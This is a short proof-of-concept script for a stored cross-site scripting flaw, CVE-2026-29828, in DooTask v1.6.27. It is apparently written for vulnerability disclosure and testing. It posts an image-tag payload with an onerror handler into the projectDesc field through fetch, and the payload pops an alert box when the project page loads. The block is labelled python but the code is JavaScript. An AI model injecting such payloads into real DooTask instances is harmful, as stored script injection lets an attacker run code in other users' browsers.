The following code is for security research and authorized testing only.
python
// PoC for CVE-2026-29828
// Target: DooTask v1.6.27
// Vulnerable Parameter: projectDesc
// 1. Define the malicious payload to test XSS
var payload = '<img src=x onerror=alert(1)>';
// 2. Send a POST request to inject the payload into the project description
fetch('/manage/project/1', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
// Include authentication cookies if required
},
body: JSON.stringify({
'projectDesc': payload,
// Other necessary parameters for the update request
})
}).then(response => console.log('Payload injected'));
// 3. Navigate to the project page to verify the execution
// Visiting /manage/project/1 should trigger the alert box.